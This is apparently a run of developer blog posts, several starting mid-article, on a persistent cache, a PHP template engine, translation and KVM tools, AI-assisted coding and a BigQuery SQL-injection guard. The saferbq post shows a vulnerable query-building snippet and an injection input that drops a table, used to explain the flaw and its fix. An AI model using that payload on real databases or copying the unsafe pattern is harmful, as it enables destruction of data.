TQCache achieves ~96k RPS write throughput via socket in its periodic sync mode, which outperforms Redis (~60k RPS). Using the package directly (no network overhead), writes reach ~180k RPS. For reads, performance is excellent: ~184k RPS via socket or ~498k RPS via package, compared to Redis’s ~100k RPS.

The trade-off is CPU usage: TQCache uses approximately 4 cores (calculated as shards/4) compared to Redis which is single-threaded (~1 core). You can limit CPU usage by reducing shard count.

Additionally, TQCache is a pure Key-Value store. It does not support the rich data structures (Sets, Sorted Sets, Lists, etc.) that make Redis so versatile. If you use Redis for more than just SET/GET, TQCache is not a replacement.

How it works

The storage engine uses a lock-free, worker-based architecture with one goroutine per shard:

• Keys File (Disk): Fixed-size records (1051 bytes) storing key, metadata, and data pointer.
• Data Files (Disk): 16 bucket files with slot sizes from 1KB to 64MB.
• B-Tree (RAM): Maintains the key-to-record mapping for O(log n) lookups.
• Min-Heap (RAM): Allows for efficient expiration-based cleanup.

The RAM structures are rebuilt from the keys file on startup.

Each shard has a dedicated worker goroutine that owns all shard state. Requests are sent via buffered channels and processed sequentially. There are no locks needed within a shard. This provides predictable latency and simple reasoning.

To reduce lock contention, TQCache shards its data across 16 independent shards. Keys are distributed using a FNV-1a hash function, allowing concurrent operations on different shards without blocking each other.

Continuous Defragmentation

Instead of append-only logs with periodic compaction, TQCache uses continuous defragmentation to keep files compact:

• On delete/expiry: move tail slot data to freed slot position
• Update the moved entry’s index to point to new slot
• Truncate file by one slot

This means files are always compact with no wasted space, O(1) allocation (always append to end), and no fragmentation over time. About 25-33% disk space is wasted on average due to the bucket sizing.

Unlike Memcached, TQCache does not support LRU eviction. Instead, it focuses on reliable persistence with a configurable max-ttl option (which Memcached lacks). This ensures disk space is bounded while guaranteeing data reliability.

When to use it?

TQCache shines as a persistent Memcached. It is fully compatible with PHP sessions. Unlike Memcached, TQCache will persists sessions to disk, so you don’t lose all user logins if the service restarts. It may also be a match if you value storage capacity over latency. It allows you to cache terabytes of data without paying for terabytes of RAM. It uses a single binary (or Go library import) with a simple fixed-size record format that is easy to back up.

Conclusion

TQCache is not a “Redis Killer.” It is a specialized tool that offers the protocol simplicity of Memcached with the persistence of Redis, all while keeping a small memory footprint.

Disclaimer: I’ve built TQCache in one weekend and it has not been tested in production, you’ve been warned!

See: https://github.com/mevdschee/tqcache

It allows you to write things like:

<h1>{{ title }}</h1>
{% if user.is_admin %}
<span class="badge">Admin</span>
{% endif %}
<ul>
  {% for item in items %}
  <li>{{ item.name }}</li>
  {% endfor %}
</ul>

All output is HTML-escaped by default. Variables use {{ }}, control structures use {% %}, and comments use {# #}.

How it works

The implementation uses a recursive descent parser. It tokenizes the template into literals, variables, control structures, and comments, then processes them in order.

Variables: The parser extracts the expression between {{ }}, evaluates it against the data context, applies any filters with the pipe operator, and escapes the result for HTML output.

Control Structures: It parses {% if %}, {% for %}, {% extends %}, {% block %}, and {% include %} tags, recursively processes their content, and evaluates conditions or iterates over data.

Expressions: A full expression parser handles operators (arithmetic, comparison, logical), dot notation for nested data access, and parentheses for grouping. Operator precedence follows standard rules.

Variables and expressions

Variables support dot notation for nested data:

{{ user.profile.name }}
{{ price * quantity }}
{{ first_name + " " + last_name }}

The expression evaluator handles all standard operators: +, -, *, /, %, ==, !=, <, >, <=, >=, and, or, not.

Filters

Filters transform values using pipe syntax:

{{ name|upper }}
{{ content|truncate(100) }}
{{ items|join(", ") }}
{{ price|sprintf("$%.2f") }}

The engine includes built-in filters: upper, lower, capitalize, title, trim, truncate, replace, split, join, reverse, abs, round, sprintf, filesizeformat, length, first, last, sum, default, attr, and debug.

You can also pass custom filters as functions:

$filters = [
    'dateFormat' => fn($date, $format) => date($format, strtotime($date))
];

$html = $template->render($content, $data, $filters);

The raw filter outputs unescaped HTML.

Control structures

If statements support elseif and else:

{% if score >= 90 %}
Grade: A
{% elseif score >= 80 %}
Grade: B
{% else %}
Grade: F
{% endif %}

For loops work with arrays and key-value pairs:

{% for fruit in fruits %}
<li>{{ fruit }}</li>
{% endfor %}
{% for key, value in items %}
<tr>
  <td>{{ key }}</td>
  <td>{{ value }}</td>
</tr>
{% endfor %}

Tests

Tests check value properties using the is keyword:

{% if value is defined %} Value exists {% endif %}
{% if count is even %} Even number {% endif %}
{% if total is divisibleby(3) %} Divisible by 3 {% endif %}

Built-in tests include: defined, undefined, null, even, odd, divisibleby, number, string, and iterable. Use is not to negate.

Template inheritance

Templates can extend base templates using blocks:

base.html:

<!DOCTYPE html>
<html>
  <head>
    <title>{% block title %}Default{% endblock %}</title>
  </head>
  <body>
    {% block content %}{% endblock %}
  </body>
</html>

page.html:

{% extends "base.html" %}
{% block title %}Welcome{% endblock %}
{% block content %}<h1>Hello World</h1>{% endblock %}

The {% extends %} directive must be first. Child blocks completely replace parent blocks. This requires a template loader function to load files.

Template inclusion

Include other templates with {% include %}:

{% include "header.html" %}
<main>{{ content }}</main>
{% include "footer.html" %}

Included templates share the same data context.

Important notes

• HTML escaping is default: All output is escaped unless you use |raw
• No external dependencies: Beyond PHPUnit for testing
• Expressions are fully evaluated: Not just variable lookup
• Whitespace is preserved: Except lines with only {% %} or {# #} tags
• Filters chain: You can do {{ value|lower|trim|truncate(50) }}
• Template loader required: For {% extends %} and {% include %} to work

The implementation is intentionally simple with no dependencies. I wrote it because I wanted something I could understand completely and modify easily without diving into complex template engine internals.

See: https://github.com/mintyphp/template

Enjoy!

Links

• Jinja Documentation - Template Designer Documentation
• Github.com - mbyjg/php-jinja - Jinja for PHP
• Twig - The flexible, fast, and secure PHP template engine
• Smarty - the compiling PHP template engine

Use it from the command line:

# Scans for default.pot and PO files in ./locales
potranslate --source-lang en ./locales

Point it at a directory with POT and PO files, and it will:

1. Sync missing entries from POT to PO files
2. Translate empty strings using Google Translate

It takes about one second per tanslated string, but it is non-interactive.

How it works

The tool is written in Go and uses three main components:

File parsing: Uses github.com/leonelquinteros/gotext to parse the gettext format. POT and PO files follow the same structure, so reading them is straightforward.

Translation: Uses github.com/Conight/go-googletrans to call Google Translate. It’s a simple HTTP wrapper around Google’s translation service.

Progress tracking: Uses github.com/schollz/progressbar/v3 for the terminal progress bar, since translations can take a while.

The workflow is simple:

1. Scan directory for POT and PO files (e.g., default.pot and default_es.po, default_fr.po)
2. Parse POT to get all source strings
3. Add any missing entries from POT to each PO file
4. Find empty translation strings in PO files
5. Translate them one by one
6. Write back to disk

Syncing entries

Before translating, the tool syncs the PO files with the POT template. If default.pot has 100 entries and default_es.po only has 95 The tool adds those 5 missing entries with empty translations and then translates them. It also copies the source comments from POT entries (like #: file.py:123) so you know where each string comes from.

Rewrite mode

Sometimes PO files accumulate obsolete entries. The --rewrite flag rebuilds the entire file from the POT template:

# Removes entries from the PO files that don't exist in the POT.
potranslate --rewrite ./locales

This preserves existing translations but removes entries that no longer exist in the POT. It strips old translator comments but keeps source location comments from the POT.

Adding new languages

You can create a new PO file for a language from scratch:

# Adds default_es.po from default.pot and translates everything
potranslate --add-lang es --source-lang en ./locales

The tool will updates the metadata headers (language code, revision date) and translates all entries.

Rate limiting

Google Translate will throttle you if you send too many requests. The tool waits 1 second between translations by default:

# Default: 1 second between requests
potranslate ./locales

# Fast mode: 0.1 seconds
potranslate --fast ./locales

For a file with 50 untranslated strings, that’s 50 seconds at normal speed, or 5 seconds with --fast.

Multiple domains

Larger projects often split translations into domains:

# Translates admin.pot and admin_*.po files
potranslate --domain admin ./locales

File naming follows the pattern <domain>_<lang>.po. The tool uses underscores, not hyphens or dots.

Language detection

The tool reads the source language from POT metadata:

"Language: en\n"

If it’s not there, you need to specify it:

potranslate --source-lang en ./locales

When provided via command line, it writes the source language back to the POT metadata. Target languages are read from each PO file’s metadata or filename.

Interrupting

Press Ctrl-C to stop. The tool saves completed translations before exiting, so you can resume later. The progress bar shows how far along you are.

Limitations

The tool doesn’t validate translation quality. Google Translate makes mistakes, especially with context-dependent strings or technical terminology. You should review the translations. It also does not handle plural forms specially (translates them as separate strings) nor does it support translation memory or glossaries.

Example output

$ potranslate --source-lang en ./locales
Processing domain: default
POT file: ./locales/default.pot
Source language: en
Found 2 PO file(s)

Processing: default_es.po (target: es)
Added 3 missing entry/entries from POT file
[████████████████████████] 25/25 (100%)
Translated 25 string(s)

Processing: default_fr.po (target: fr)
No missing entries to add
[████████████████████████] 18/18 (100%)
Translated 18 string(s)

Complete! Translated 43 string(s) total

I wrote this because I needed it for a project and couldn’t find a simple command-line tool that did both syncing and translating. The code is small and does one thing.

See: https://github.com/mevdschee/potranslate

Enjoy!

Links

• GNU gettext - PO file format documentation
• Github.com - leonelquinteros/gotext
• Github.com - Conight/go-googletrans

The AI revolution has levels

We’ve moved through distinct levels of AI assistance over the past few years. We started at level zero with no AI at all, then progressed to copy-pasting from ChatGPT. We got autocomplete, then inline editing. Now we have tools that can make project-wide changes and act as agents. The most advanced level is where AI helps with architectural thinking itself.

But here’s the thing: more power requires more skill. And that’s where we’re seeing a problem.

The AI-generated slop problem

AI coding tools are great for greenfield projects. Give them a blank slate and they can scaffold out entire applications. But they struggle with complex, brownfield codebases. The real world is messy.

I’ve seen it happen repeatedly: junior engineers use AI to generate code quickly, but skill gaps lead to what I can only describe as “slop.” Then senior engineers get frustrated cleaning up the mess. The promise was that AI would make us faster. Instead, it’s often making things slower and introducing technical debt at scale.

The problem isn’t the AI itself. It’s how we’re using it.

What is context engineering?

Context Engineering is the practice of managing AI context windows to maximize output quality. It matters because LLMs are stateless. Better tokens in equals better tokens out. Every tool selection is influenced by conversation history, and there are hundreds of potential right or wrong steps at each turn.

There are four key dimensions to consider in context engineering:

1. Correctness - No incorrect information should be in the context
2. Completeness - All necessary information must be present
3. Size - Stay lean and focused, don’t bloat the context
4. Trajectory - Mind the pattern of how the conversation evolves

These dimensions aren’t independent. They interact in complex ways.

The smart zone and the dumb zone

Here’s something most people don’t realize about context windows: they’re typically around 170k tokens total (though this varies by model). Some of that is reserved for output and compaction. But there’s a critical threshold at around 40% utilization.

Working above 40% of your context window leads to diminishing returns. You start seeing poor tool selection, repeated mistakes, and context overload. I call this the “dumb zone.” Below that threshold is the “smart zone” where AI assistants perform well.

Context engineering is fundamentally about staying in the smart zone. It’s about being intentional with what goes into that context window and when.

Context engineering as a hammer

Context engineering enables three key phases: research, planning, and implementation. In the research phase, you compress truth from codebases. In the planning phase, you create high-leverage, explicit roadmaps. In the implementation phase, you execute reliably with minimal context.

The key techniques include intentional compaction (compress existing context), sub-agents (isolate expensive operations), on-demand documentation (generate truth from code, not stale docs), and progressive disclosure (only load what you need, when you need it).

Think of it as AI’s hammer. It’s a tool that makes other tools work better.

The research-plan-implement method

The research phase is about understanding how the system works. You find relevant files and patterns, use sub-agents for vertical slices of the codebase, and output a compressed truth document. This isn’t just reading code; it’s synthesizing understanding.

The planning phase is where you outline exact steps with file names and line numbers. Include code snippets and test steps. The purpose is two-fold: mental alignment and leverage. It’s much easier to review a plan than to review 1000+ lines of generated code. A bad line in a plan leads to 100+ bad lines of code. A bad line in research can waste the entire effort.

Only after research and planning do you move to implementation. And the implementation phase can be relatively straightforward if the previous phases were done well.

Tools that help

For the research phase, let AI summarize what code does. Tools like LLMFeeder (a Firefox extension) and Paste To Markdown (a web page converter) can help you feed information to AI in the right format from external sources, such as official documentation. You can also dump a data model to SQL, or ask AI for a “project brief,” or a set of “design principles.”

The key is to iterate several times before starting the implementation phase. Don’t rush to implementation for a complex problem.

Don’t fall for the spec-driven development trap

There are frameworks that promise to “fix” AI coding. OpenSpec (14k stars) offers lightweight specs with change tracking for brownfield projects. Spec-Kit (58k stars) provides structured /specify and /plan commands for greenfield work. BMAD (26k stars) is a full multi-agent framework simulating entire dev teams.

I think these tools can be useful, but they’re putting the cart before the horse. Master the fundamentals first. Tooling can come later. These frameworks are trying to solve the context engineering problem, but you need to understand the problem deeply before you can evaluate whether a given framework actually helps.

Human thinking cannot be outsourced

This is the most critical point: a bad line of code is just a bad line of code. A bad line in a plan becomes 100+ bad lines of code. A bad line in research can waste the entire effort. The leverage multiplies at each phase.

Human-in-the-loop requirements are non-negotiable. Review research for correctness. Validate plans before implementation. Ensure understanding at each phase. The goal isn’t to remove humans from the process; it’s to move human effort to the highest leverage points.

AI amplifies thinking. It cannot replace your judgment, only amplify what you bring to it.

Not everything is a nail

Context engineering is a powerful hammer, but not everything is a nail. Use it for complex features across multiple files or repositories. Use it for brownfield codebases requiring deep understanding. Use it when you’re hitting the “dumb zone” with your AI assistant.

Don’t use it for simple one-line changes like button colors. Don’t use it for quick experiments or prototypes where you’re exploring ideas. And definitely don’t use it when human architectural thinking needs to come first.

The craft is knowing when to use which tool.

Conclusion

Quality over quantity. AI makes volume easy, but quality requires discipline. I’ve seen too many projects drown in AI-generated slop because teams didn’t apply the fundamentals of context engineering.

Stay in the smart zone by managing your context windows intentionally. Master compaction, research, and planning. Never skip the human review at each phase. Remember that AI amplifies your thinking… it doesn’t replace it.

Context engineering is the skill that separates those who struggle with AI coding assistants from those who master them effectively. It’s the difference between generating slop and generating true value.

Links

• Youtube - No Vibes Allowed: Solving Tough Problems in Complex Codebases
• Inspired-IT - The AI Coding Ladder - From Copy-Paster to Architect
• Don’s Blog - Spec-Driven Development: OpenSpec vs Spec-Kit vs BMAD
• Xebia Blog - Vibe coding is fun, until you have to maintain it
• Github - OpenSpec - Spec-driven development for AI coding assistants
• Github - Spec Kit - Build high-quality software faster
• Github - BMAD-METHOD - AI-Driven Agile Development That Scales

The SQL injection problem

When you need to reference a table name that comes from user input, the BigQuery SDK does not provide you with a safe option. Consider this common scenario:

client := bigquery.NewClient(ctx, projId)
tableName := getUserInput()
q := client.Query(fmt.Sprintf("SELECT * FROM `%s` WHERE id = 1", tableName))
q.Run(ctx)

If a user provides the input logs` WHERE 1=1; DROP TABLE customers; -- the resulting query becomes:

SELECT * FROM `logs` WHERE 1=1; DROP TABLE customers; --` WHERE id = 1

This might execute successfully, returns all logs, and drop your customers table. You might want to use BigQuery’s named parameters as a mitigation:

q := client.Query("SELECT * FROM @table WHERE id = 1")
q.Parameters = []bigquery.QueryParameter{{Name: "table", Value: tableName}}

But this fails with an error because named parameters cannot be used for identifiers, only for data values. The official documentation and examples consistently show string concatenation for table names without any security warnings.

The saferbq solution

I implemented a package called saferbq that adds safe identifier handling to the BigQuery SDK. It introduces $identifier syntax specifically for table and dataset names:

client := saferbq.NewClient(ctx, projId)
tableName := getUserInput()
q := client.Query("SELECT * FROM $table WHERE id = 1")
q.Parameters = []bigquery.QueryParameter{{Name: "$table", Value: tableName}}
q.Run(ctx)

If a user tries to inject malicious SQL, the query fails immediately:

Error: identifier contains invalid characters: $table contains `=;

The package works by intercepting queries before they reach BigQuery. It scans the SQL to identify all $identifier parameters, validates each identifier value character-by-character against BigQuery’s naming rules, and only then wraps them in backticks and substitutes them into the query. Invalid characters like backticks, semicolons, quotes, or backslashes cause immediate failure with a detailed error message. The package also validates that all parameters are present and that identifiers don’t exceed BigQuery’s 1024-byte limit.

Using saferbq

Install the package:

go get github.com/mevdschee/saferbq

Replace the client creation:

import (
    "context"
    "cloud.google.com/go/bigquery"
    "github.com/mevdschee/saferbq"
)
// client, _ := biqquery.NewClient(ctx, projId)
client, _ := saferbq.NewClient(ctx, projId)
defer client.Close()

You can now use $ parameters for identifiers. Note that you can mix identifier parameters with BigQuery’s native parameters:

q := client.Query("SELECT * FROM $table WHERE id = @id")
q.Parameters = []bigquery.QueryParameter{
    {Name: "$table", Value: "my-table"},
    {Name: "@id", Value: 1},
}

The $ parameters are handled by saferbq, while @ and ? parameters are handled by BigQuery’s standard parameterized query mechanism. This approach ensures identifiers are safely quoted while preserving the security benefits of parameterized queries for data values.

Conclusion

SQL injection remains one of the most critical security vulnerabilities. When official SDKs don’t provide safe mechanisms for common use cases, developers will be tempted to use unsafe string concatenation. The BigQuery SDK supports parameterized queries for data values, but not for identifiers. The saferbq package is a drop-in replacement that maintains the same API while adding that extra safety.

See: https://github.com/mevdschee/saferbq

Enjoy!

Links

• Google - BigQuery Go SDK
• Google - BigQuery Parameterized Queries
• Google - BigQuery Identifiers
• Google - BigQuery Standard SQL Reference

Software adjustment required

And indeed, when I toggled the “Exposure smoothing” to “Off” on a non-Linux PC and then connected the webcam back to the Linux PC the picture was perfect!

Low-light performance

This 4k webcam is quite affordable, while having extremely good low-light performance. I prefer not to bother with lighting at all when doing video conferencing and for that this camera is perfect. There are better cameras available, but I was very happy with my C200 and I’m even more happy with my C310. It has a better sharper image, which is to be expected in a 4k vs 2k model. The only downside I could find is that the device is a little larger than the C200. Great value for the money at EUR 75. Here is a frame from a browser-based video stream in 1920x1080 mode (no configuration, bad lighting):

Conclusion

The AnkerWork C310 is an excellent 4K webcam for Linux users, offering great value at EUR 75. While it requires a quick settings adjustment on another OS to disable “Exposure smoothing”, once configured it delivers sharp images with outstanding low-light performance. If you’re looking for a reliable webcam that doesn’t require additional settings or lighting for video calls, the C310 is a solid upgrade from the already capable C200.

Links

• YouTube - Anker PowerConf C200 vs AnkerWork C310
• DigitalCameraWorld - AnkerWork C310 review: A great value 4K webcam

• Merge PDF - Combine or join multiple files into a single PDF quickly and easily
• Split PDF - Easy to use app to split PDF files quickly and easily
• Compress PDF - PDF compressor to reduce the size of PDF files quickly and easily
• Edit PDF - Easy to use online PDF editor to edit PDF files
• Sign PDF - Add a signature to a PDF document
• PDF Converter - Convert files to PDF and from PDF to other file formats
• Images to PDF - User friendly web app to convert photos and other images to PDF quickly and easily
• PDF to images - User friendly web app to convert PDF files to JPG and other images quickly and easily
• Extract PDF images - Easy to use app to extract all embedded images from PDF files
• Protect PDF - Lock PDF files with a password and set permissions
• Unlock PDF - Remove PDF password from PDF files online
• Rotate PDF pages - Easy to use app to rotate PDF pages quickly and easily
• Remove PDF pages - Easy to use app to delete pages from PDF files quickly and easily
• Extract PDF pages - Easy to use app to extract pages from PDF files quickly and easily
• Rearrange PDF pages - Easy to use app for moving pages in PDF files quickly and easily
• Webpage to PDF - Convert a web page via URL to PDF
• Create PDF job application - Create an online job application based on cover letter, CV and attachments
• Create PDF with a camera - Online PDF Scanner for creating PDF files with a camera
• PDF OCR - Recognize text via OCR and create searchable PDF files
• Add watermark - Add a watermark or text as protection to your PDF files
• Add page numbers - Free and easy to use tool to add page numbers to PDF files
• PDF Overlay - Overlay PDFs, e.g. to combine documents with a digital paper
• Compare PDFs - Compare PDF files and see the differences
• Web optimize PDF - Linearize PDF files to optimize for fast web view
• Annotate PDF - Annotate PDF files by highlighting and adding text, images or shapes
• Redact PDF - Blacken areas in PDF files to make them unrecognizable
• Create electronic invoice - Generator for creating electronic invoices like XRechnung and ZUGFeRD
• Create PDF - Create PDF files quickly and easily with PDF24 (e.g. via printing)
• PDF to Word - User friendly web app to convert PDF to Word quickly and easily
• JPG to PDF - User friendly web app to convert JPG files to PDF quickly and easily

While PDF24 works online, via the website, you may also install the software on your PC for better privacy. This is what PDF24 claims:

“The PDF24 Creator is a desktop solution that works offline. Files remain locally on your PC and are NOT uploaded to the Internet. The topic of data protection or GDPR is therefore not a problem.”

To me, this sounded too good to be true, so I did what any security-minded person would do: investigate that claim.

Simplewall - Definitely for advanced users.

Simplewall is firewall software that uses Windows Filtering Platform (WFP) to filter network activity on your computer. Once activated it pops up on every network access and asks you to allow or deny. I downloaded and installed PDF24 and merged two sample PDFs. I used Simplewall to detect network traffic originating from PDF24 and I was pleased that it didn’t detect any.

I know that this is not a guarantee that it would never send any network traffic, but it is true that it does its computation offline and that the PDFs are not sent over the network for remote processing.

Conclusion

Simplewall and PDF24 are two great packages that I both recommend. Simplewall is great for detecting privacy leaks. PDF24 is great for everyday PDF editing and it does not only do what it should, it is very user-friendly and it does not cost money. It is made by “2025 Geek Software GmbH” a company that certainly lives up to their slogan “We love PDF”.

Links

• PDF24 Tools - Free and easy-to-use online PDF tools that make you more productive
• Github.com - Simplewall - Definitely for advanced users

https://github.com/mevdschee/usb-soft-kvm

The problem it solves

Hardware KVM switches with integrated monitor switching typically cost much more than basic USB switches, which may cost as little as EUR 10. Many people already use USB switches to share keyboards and mice between two computers, but they’re forced to manually press the monitor’s input button every time they toggle peripherals. USB-Soft-KVM bridges this gap, transforming an inexpensive USB switch into a complete KVM solution by adding automated monitor switching.

How it works

The solution uses udev rules to detect USB device connection and disconnection events. When your keyboard is plugged in (meaning the USB switch is pointing to the desktop), a udev rule triggers a script that sends a DDC/CI command to switch the monitor to DisplayPort. When the keyboard is disconnected (USB switch toggled to the laptop), another udev rule switches the monitor to HDMI. The monitor responds to these commands via the I2C bus that’s already built into your video cable. No extra wiring needed beyond what you already have.

Hardware requirements

You need a monitor with DDC/CI support, which includes most modern displays. The key component is a USB switch to toggle peripherals between computers. Your desktop PC must have I2C bus access, which is standard on Linux systems. The laptop doesn’t need any special configuration since the udev rules only run on the desktop.

Choosing a USB switch

You can choose between two approaches:

• Option 1: USB switch with built-in hub
• Option 2: Bidirectional USB switch (if you already have a hub)

Choose based on your setup: if you already have a hub, a simple bidirectional switch works great. Otherwise, get a switch with built-in hub. Consider how many USB ports you need and whether you require USB 3.0 speeds or if USB 2.0 is sufficient.

Installation and configuration

Setup requires identifying three things: your I2C device path, your monitor’s input source values, and your keyboard’s USB vendor and product IDs. Running sudo ddccontrol -p reveals the I2C device and available input sources with their numeric values. Running lsusb shows your keyboard’s vendor and product IDs in the format idVendor:idProduct. You edit these values into the udev rules. The entire process takes less than 5 minutes.

It basically boils down to this one file /etc/udev/rules.d/90-usb-soft-kvm.rules that contains 04d9 and a231 as the USB device 16 and 18 as the input sources and dev:/dev/i2c-12 as the monitor’s I2C device (in my case).

$ cat /etc/udev/rules.d/90-usb-soft-kvm.rules
ACTION=="add", ATTRS{idVendor}=="04d9", ATTRS{idProduct}=="a231", RUN+="/usr/bin/ddccontrol -r 0x60 -w 16 dev:/dev/i2c-12"
ACTION=="remove", ATTRS{idVendor}=="04d9", ATTRS{idProduct}=="a231", RUN+="/usr/bin/ddccontrol -r 0x60 -w 18 dev:/dev/i2c-12"

Reliability in practice

The udev rules respond immediately to USB device events, providing almost instant monitor switching when you toggle the USB switch. DDC/CI commands are inherently reliable since they’re part of the VESA standard, though some cheaper monitors may take a second or two to respond. In daily use the switching is seamless enough that you stop thinking about it. Udev events are logged to the system journal, making troubleshooting straightforward if something goes wrong.

Limitations and future work

The most important limitation is that this solution only works with two devices. The current implementation detects the presence or absence of a keyboard to toggle between two predetermined monitor inputs. Supporting three or more devices would require a different approach, where each device would need its own script to change the input source of the monitor. This solution currently only works on a Linux desktop because it relies on direct I2C device access and udev event handling. Also, the desktop PC must remain powered on for switching to work, since that’s where the udev rules run. While the solution is Linux only, the connected laptop may also run Windows or MacOS. Porting the desktop support from Linux to Windows or Mac would be nice follow-up work, also adding a GUI for all 3 major platforms would be a nice addition.

Conclusion

USB-Soft-KVM delivers full KVM functionality by combining a cheap USB switch with software-based monitor switching. This represents significant savings over traditional hardware KVM switches, making it an attractive option for budget-conscious users. If you run Linux on the desktop and have a DDC/CI-capable monitor, the software is free and installation takes less than 5 minutes. It is a joy to use!

Links

• Github - USB-Soft-KVM - source code
• Wikipedia - DDC/CI - Display Data Channel / Command Interface standard
• Github - ddccontrol - Linux tool for monitor control
• FreeDesktop.org - Udev device management
• xpufx - 100% Software KVM switch with a single monitor
• drew.onl - How to swap monitor inputs between two computers (without pressing monitor buttons)

AI tools love Markdown files

This time, the reason for migrating was different. Recently I’ve fallen in love with AI generative tooling and that’s why I decided to switch this blog to a Git based approach and to the (to me familiar) Hugo static site generator (SSG). With this file based Markdown approach I can quickly let AI run through my posts, check for errors and do quick checks for consistency. Whenever I need to edit hundreds of files I let AI write small scripts to do the tasks I want it to do. Having all your posts version controlled in Git and in Markdown files on a local disk makes a huge difference. I could ask an AI agent to download all images for all posts from Imgur to the “static/img” folder and update all references to them. Also an agent was able to convert all code with HTML code-coloring to proper Markdown code blocks with the right language annotation.

Why not Zola?

You might wonder why I chose Hugo when there are other options. In 2023 I wrote the popular article “Zola SSG is 4x faster than Hugo” and you may ask why I switched to Hugo and not to Zola. Zola is faster and easier to use as you can read in the article. The reason is that Hugo is still more popular: Hugo has 84k stars on Github and Zola “only” 16k stars. Another reason is that my brother (who owns and runs UseCue web development) is a great fan of the Hugo SSG (so I can ask him questions whenever I get stuck). He is also known as the creator of UseCue CMS, a full-featured CMS for Hugo, so he knows a thing or two about Hugo. Last but not least I’ve found a nice Hugo theme called “PaperMod” that I liked for my blog (the one you are seeing now).

New visitor counts

The migration also gave me an opportunity to improve my analytics. I came up with a new way of counting visitors. In WordPress I was using a plugin called “Count-Per-Day” which counted the number of unique IP addresses that visited different pages per day. This plugin does no longer exist, but I recreated that functionality in my own PHP code when writing my own blog platform and that’s how I generated the top 10 list of popular articles that month (and did analytics in general without Google). In the past 3 months I have seen an enormous rise in bots visiting my blog. This was skewing the visitor count heavily, so I came up with another approach: a JavaScript fetch of the footer content from a PHP script. This way everything on the website is static (except for the footer) where the analytics are shown (and are collected).

Future of TQdev.com

With all these technical improvements in place, what does this mean for this blog? For one, I’ll never let AI write my blog articles, nevertheless I will let AI proof read for spelling mistakes or let it suggest style changes. This allows me to write faster and better. Like with code or documentation the author stays responsible for the tone, relevance and quality of what is written. You will see that the visitor count will be a lot lower as search engine bots (and the new AI bots) are no longer counted as visitors due to the new JavaScript method of creating analytics. RSS readers (the feed still has the full articles) are also no longer counted as visitors. This blog stays Big Tech free and I’m proud that I’m not buying analytics from Google at the cost of your privacy.

I hope you enjoyed reading about this migration. Also do check back regularly as there’s always something new in the works!

Spec Driven Development with SpecKit

So I went into my project folder and I typed:

@speckit.specify Build a messaging system that looks like E-mail. It does not actually send email out, only notifications. It does not allow forwarding threads, only subscribe to the thread. Users that are not in the system receive an email that they have become a member and that a message is waiting for them.

And the “001-internal-messaging/spec.md” file was created and it also created a “001-internal-messaging/data-model.md” file. The file was full of great specification that would have taken me hours to write. I then asked it to split the spec for “001-internal-messaging” from the calendaring functionality “002-calendaring” and even asked it to come up with “003-real-time-chat” including a data model. Since it already had the proper context of the other features it was doing real magic!

Here is an excerpt from the constitution.md file it generated for the project:

Core Principles

I. Content Privacy & Non-Forwarding

Message content never leaves the system via email. Threads cannot be forwarded. External recipients onboard via notification-only emails and secure links. Quoting creates new independent threads with no backlink.

II. Immutable Message History

Messages are append-only; users cannot delete or rewrite sent content. Compliance retention purges are controlled, logged, and never silently mutate historical data.

III. Projection-Based Access Control

Canonical objects (g_thread, g_message, g_attachment, g_subscription) remain immutable; per-user projections (thread, message, attachment) carry read/deleted state. All visibility, search, and permissions derive from projections + subscription membership. No direct edits of canonical content by end users.

The insights.. amazing aren’t they?

Using VSCode + Copilot + Claude Sonnet 4.5

Next I started to tell Claude in Agent mode to implement the missing functionality of the Calendar API and also create a Chat API from scratch. I asked it to generate OpenAPI 3 documentation for the API and it did so much in so little time. I hardly needed to steer it as it had a lot of context. Sometimes I had to start a new chat in order to avoid summarizing the context.

I made 10 commits over the past 6 hours (after dinner), totaling ~3,800 lines added and ~440 lines removed.

PHP files modified:

• ChatApi.php - 307 lines changed (refactoring)
• ChatClient.php - 446 new lines (new file)
• ChatApiTest.php - 498 new lines (new test file)
• CalendarApiTest.php - 247 new lines (new test file)
• MailApiTest.php - 160 lines changed
• PostmarkApiTest.php - 4 lines changed
• CalendarApi.php - 295 new lines
• CalendarClient.php - 145 lines added
• AuditLog.php - 60 new lines

Other files modified:

• YAML: OpenAPI spec files (~2500 lines, 50% new)
• MarkDown: Specification documents (~1300 lines, 75% new)
• SQL: Test data + structure (~800 lines, 25% new)

This would have not been possible in one evening without AI. Maybe not everything is perfect, but it wouldn’t have been if I did it manually either.

Switching to Postmark

Initially, I was planning to run my own mail server using Debian with Postfix for handling both incoming and outgoing email. However, after considering the complexity involved in managing email delivery, spam filtering, DKIM/SPF/DMARC configuration, and maintaining good sender reputation, I decided to switch to Postmark for now. This allows me to focus on building the main features of 103mail.com. Postmark provides APIs for both sending and receiving email. Postmark being commercial and from the US doesn’t really matter as we use email only for notifications anyway. Also we can always switch to another service later (if required).

Where we stand now

Well, I implemented the calendar and chat data models and their APIs. I still need to implement calendar and chat in the web client on 103mail.com. You can see the API I got so far here:

https://www.103mail.com/api

It’s going to be a blast building this further with my newfound AI-powered toolkit. If you’re excited about this project and want to join the adventure, reach out: I’d love to have you on board.

Enjoy programming!

Links

• Speckit.org - Build High-Quality Software Faster with Spec Kit
• Github.blog - Copilot coding agent now supports AGENTS.md
• PostmarkApp.com - Inbound Email Processing
• TQdev.com - 103mail.com - The plan (2024-04-11)
• TQdev.com - 103mail.com - Update 1 (2024-04-12)
• TQdev.com - 103mail.com - Update 2 (2025-03-30)
• TQdev.com - 103mail.com - Update 3 (2025-11-18)

It allows you to write things like:

$mock = new StaticMethodMock(Adder::class, $this);
$mock->expect('add', [1, 2], 3);

$result = Adder::add(1, 2);

$mock->assertExpectationsMet();

For mocking static methods, and:

$mock = new BuiltInFunctionMock('App\Service', $this);
$mock->expect('microtime', [true], 1763333612.602);

$service = new Service();
$timestamp = $service->getCurrentTime();

$mock->assertExpectationsMet();

For mocking PHP’s built-in functions.

How it works

The library uses two techniques to achieve it’s goals:

For static methods: It intercepts class autoloading by registering a prepended autoloader. Before the real class is loaded, it creates a stub class that forwards all static calls to your expectations.

For built-in functions: It defines namespaced functions on the fly. Since PHP’s function resolution checks the current namespace first before falling back to the global namespace, unqualified calls like microtime() in your namespace will be routed through the mock.

Mocking static methods

Here’s a complete example:

use MintyPHP\Mocking\StaticMethodMock;
use App\Math\Calculator;
use PHPUnit\Framework\TestCase;

class CalculatorTest extends TestCase
{
    public function test_calculation(): void
    {
        // Register the mock before Calculator is loaded
        $mock = new StaticMethodMock(Calculator::class, $this);
        
        // Declare expectations in order
